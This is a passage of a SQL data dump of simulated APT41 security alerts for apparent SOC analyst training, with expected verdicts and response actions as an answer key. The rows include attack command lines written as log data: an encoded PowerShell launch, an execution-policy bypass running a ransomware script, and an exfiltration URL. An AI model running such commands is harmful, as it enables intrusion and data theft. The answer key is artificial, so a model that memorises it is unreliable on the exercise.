host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"CCleaner_Update_v5.7.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File associated with supply chain attacks targeting software updates.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware variant used by APT41.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(409, 'Execution of Backdoor Malware', 'high', 'Endpoint Detection and Response', 'After gaining initial access, APT41 executes a custom backdoor, allowing them to control compromised systems remotely. The malware deployment was detected via an anomaly in the execution patterns on a critical server.', 'Malware Deployment', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:01Z\",\"event_id\":\"EVT-2023-1023\",\"source_ip\":\"203.0.113.44\",\"destination_ip\":\"192.168.1.10\",\"user\":\"admin\",\"process_name\":\"svchost.exe\",\"malware_name\":\"APT41_Custom_Backdoor\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"backdoor.dll\",\"severity\":\"High\",\"action_taken\":\"Quarantine\"}', '2026-01-04 02:21:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT41 campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Critical server within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as known APT41 malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"malicious\",\"details\":\"Suspicious DLL associated with backdoor activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(410, 'Establishing Persistence with Rootkit', 'high', 'Host-based Intrusion Prevention System', 'APT41 has installed a rootkit on a key server to ensure long-term access and resist detection. This activity is part of their advanced tactics to maintain persistent access within the network.', 'Persistence Mechanism', 'T1014 - Rootkit', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:46:23Z\",\"event_id\":\"HIPS-2023-5567\",\"host_ip\":\"192.168.1.10\",\"detected_action\":\"Rootkit Installation\",\"malware_name\":\"APT41_Rootkit\",\"file_path\":\"/usr/local/bin/apt41_rootkit\",\"file_hash\":\"3a5f1d7b8ee1b9c3c0a8a9c512345678\",\"attacker_ip\":\"203.0.113.45\",\"detected_by\":\"HIPS\",\"username\":\"sysadmin\",\"additional_info\":{\"rootkit_persistence\":true,\"kernel_modification\":true}}', '2026-01-04 02:21:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Confirmed malicious IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f1d7b8ee1b9c3c0a8a9c512345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known APT41 rootkit sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/usr/local/bin/apt41_rootkit\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Filename associated with APT41 rootkit persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"sysadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account with elevated privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.015Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:46:23Z\\\",\\\"event_id\\\":\\\"HIPS-2023-5567\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"detected_action\\\":\\\"Rootkit Installation\\\",\\\"malware_name\\\":\\\"APT41_Rootkit\\\",\\\"file_path\\\":\\\"/usr/local/bin/apt41_rootkit\\\",\\\"file_hash\\\":\\\"3a5f1d7b8ee1b9c3c0a8a9c512345678\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"detected_by\\\":\\\"HIPS\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"additional_info\\\":{\\\"rootkit_persistence\\\":true,\\\"kernel_modification\\\":true}}\"},{\"timestamp\":\"2026-02-01T20:31:19.015Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:46:23Z\\\",\\\"event_id\\\":\\\"HIPS-2023-5567\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"detected_action\\\":\\\"Rootkit Installation\\\",\\\"malware_name\\\":\\\"APT41_Rootkit\\\",\\\"file_path\\\":\\\"/usr/local/bin/apt41_rootkit\\\",\\\"file_hash\\\":\\\"3a5f1d7b8ee1b9c3c0a8a9c512345678\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"detected_by\\\":\\\"HIPS\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"additional_info\\\":{\\\"rootkit_persistence\\\":true,\\\"kernel_modification\\\":true}}\"},{\"timestamp\":\"2026-02-01T20:30:19.015Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:46:23Z\\\",\\\"event_id\\\":\\\"HIPS-2023-5567\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"detected_action\\\":\\\"Rootkit Installation\\\",\\\"malware_name\\\":\\\"APT41_Rootkit\\\",\\\"file_path\\\":\\\"/usr/local/bin/apt41_rootkit\\\",\\\"file_hash\\\":\\\"3a5f1d7b8ee1b9c3c0a8a9c512345678\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"detected_by\\\":\\\"HIPS\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"additional_info\\\":{\\\"rootkit_persistence\\\":true,\\\"kernel_modification\\\":true}}\"},{\"timestamp\":\"2026-02-01T20:29:19.015Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:46:23Z\\\",\\\"event_id\\\":\\\"HIPS-2023-5567\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"detected_action\\\":\\\"Rootkit Installation\\\",\\\"malware_name\\\":\\\"APT41_Rootkit\\\",\\\"file_path\\\":\\\"/usr/local/bin/apt41_rootkit\\\",\\\"file_hash\\\":\\\"3a5f1d7b8ee1b9c3c0a8a9c512345678\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"detected_by\\\":\\\"HIPS\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"additional_info\\\":{\\\"rootkit_persistence\\\":true,\\\"kernel_modification\\\":true}}\"},{\"timestamp\":\"2026-02-01T20:28:19.015Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:46:23Z\\\",\\\"event_id\\\":\\\"HIPS-2023-5567\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"detected_action\\\":\\\"Rootkit Installation\\\",\\\"malware_name\\\":\\\"APT41_Rootkit\\\",\\\"file_path\\\":\\\"/usr/local/bin/apt41_rootkit\\\",\\\"file_hash\\\":\\\"3a5f1d7b8ee1b9c3c0a8a9c512345678\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"detected_by\\\":\\\"HIPS\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"additional_info\\\":{\\\"rootkit_persistence\\\":true,\\\"kernel_modification\\\":true}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(411, 'Lateral Movement to PII Databases', 'critical', 'Security Information and Event Management', 'APT41 has successfully utilized harvested credentials to move laterally within the network, specifically targeting databases containing PII.', 'Credential Dumping', 'T1003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:32:47Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"compromised_user\",\"action\":\"lateral_movement\",\"tool\":\"Mimikatz\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"mimilib.dll\",\"event_description\":\"Failed login attempt detected on database server with potential credential dumping activity.\",\"additional_info\":{\"failed_logins\":5,\"successful_logins\":1,\"target_database\":\"PII_DB_01\"}}', '2026-01-04 02:21:52', '2026-02-17 05:23:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal database server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory Logs\",\"verdict\":\"suspicious\",\"details\":\"Account recently accessed from multiple foreign IPs.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimilib.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File used by Mimikatz for credential dumping.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.016Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:47Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"lateral_movement\\\",\\\"tool\\\":\\\"Mimikatz\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimilib.dll\\\",\\\"event_description\\\":\\\"Failed login attempt detected on database server with potential credential dumping activity.\\\",\\\"additional_info\\\":{\\\"failed_logins\\\":5,\\\"successful_logins\\\":1,\\\"target_database\\\":\\\"PII_DB_01\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.016Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:47Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"lateral_movement\\\",\\\"tool\\\":\\\"Mimikatz\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimilib.dll\\\",\\\"event_description\\\":\\\"Failed login attempt detected on database server with potential credential dumping activity.\\\",\\\"additional_info\\\":{\\\"failed_logins\\\":5,\\\"successful_logins\\\":1,\\\"target_database\\\":\\\"PII_DB_01\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.016Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:47Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"lateral_movement\\\",\\\"tool\\\":\\\"Mimikatz\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimilib.dll\\\",\\\"event_description\\\":\\\"Failed login attempt detected on database server with potential credential dumping activity.\\\",\\\"additional_info\\\":{\\\"failed_logins\\\":5,\\\"successful_logins\\\":1,\\\"target_database\\\":\\\"PII_DB_01\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.016Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:47Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"lateral_movement\\\",\\\"tool\\\":\\\"Mimikatz\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimilib.dll\\\",\\\"event_description\\\":\\\"Failed login attempt detected on database server with potential credential dumping activity.\\\",\\\"additional_info\\\":{\\\"failed_logins\\\":5,\\\"successful_logins\\\":1,\\\"target_database\\\":\\\"PII_DB_01\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.016Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:47Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"lateral_movement\\\",\\\"tool\\\":\\\"Mimikatz\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimilib.dll\\\",\\\"event_description\\\":\\\"Failed login attempt detected on database server with potential credential dumping activity.\\\",\\\"additional_info\\\":{\\\"failed_logins\\\":5,\\\"successful_logins\\\":1,\\\"target_database\\\":\\\"PII_DB_01\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(412, 'Exfiltration of Game Source Code and PII', 'critical', 'Data Loss Prevention', 'APT41 successfully exfiltrated sensitive game source code and PII. This marks the completion of their dual-mode operation focused on both commercial and strategic gains.', 'Data Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:32:00Z\",\"event_id\":\"EXFIL-2023-5276\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.15\",\"action\":\"ALLOW\",\"protocol\":\"HTTPS\",\"file_name\":\"game_source_code_v1.0.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"url\":\"https://malicious-domain.com/upload\",\"data_volume\":\"15GB\",\"comments\":\"Data exfiltration detected via secured channel; source code and PII files identified.\"}', '2026-01-04 02:21:52', '2026-02-17 22:37:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Malicious file associated with APT41 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://malicious-domain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"URL associated with data exfiltration activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"game_source_code_v1.0.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"malicious\",\"details\":\"Exfiltrated file containing sensitive game source code.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.017Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-5276\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"game_source_code_v1.0.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"url\\\":\\\"https://malicious-domain.com/upload\\\",\\\"data_volume\\\":\\\"15GB\\\",\\\"comments\\\":\\\"Data exfiltration detected via secured channel; source code and PII files identified.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.017Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-5276\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"game_source_code_v1.0.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"url\\\":\\\"https://malicious-domain.com/upload\\\",\\\"data_volume\\\":\\\"15GB\\\",\\\"comments\\\":\\\"Data exfiltration detected via secured channel; source code and PII files identified.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.017Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-5276\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"game_source_code_v1.0.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"url\\\":\\\"https://malicious-domain.com/upload\\\",\\\"data_volume\\\":\\\"15GB\\\",\\\"comments\\\":\\\"Data exfiltration detected via secured channel; source code and PII files identified.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.017Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-5276\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"game_source_code_v1.0.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"url\\\":\\\"https://malicious-domain.com/upload\\\",\\\"data_volume\\\":\\\"15GB\\\",\\\"comments\\\":\\\"Data exfiltration detected via secured channel; source code and PII files identified.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.017Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-5276\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"game_source_code_v1.0.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"url\\\":\\\"https://malicious-domain.com/upload\\\",\\\"data_volume\\\":\\\"15GB\\\",\\\"comments\\\":\\\"Data exfiltration detected via secured channel; source code and PII files identified.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(413, 'Supply Chain Compromise Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Anomalous network activity detected indicating a potential supply chain compromise. The malicious code was inserted into a popular software update by APT41, exploiting the company\'s reliance on the software to gain a foothold in the network.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"update_v1.23.4.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"alert_id\":\"NIDS-20231015-0001\"}', '2026-01-04 04:11:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Corporate workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious software update used in supply chain attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update_v1.23.4.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Filename associated with malicious software update distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(414, 'Suspicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'After gaining access, the attackers deployed a suspicious script to execute a ransomware payload, aiming to encrypt critical business data and demand a ransom. The script was detected running on a critical server.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"edr-20231015-0001\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"script_name\":\"encryptor_v2.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"process_id\":4521,\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\j.doe\\\\Desktop\\\\encryptor_v2.ps1\",\"detected_by\":\"EDR\",\"external_ip\":\"203.0.113.45\",\"malware_family\":\"APT41\"}', '2026-01-04 04:11:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 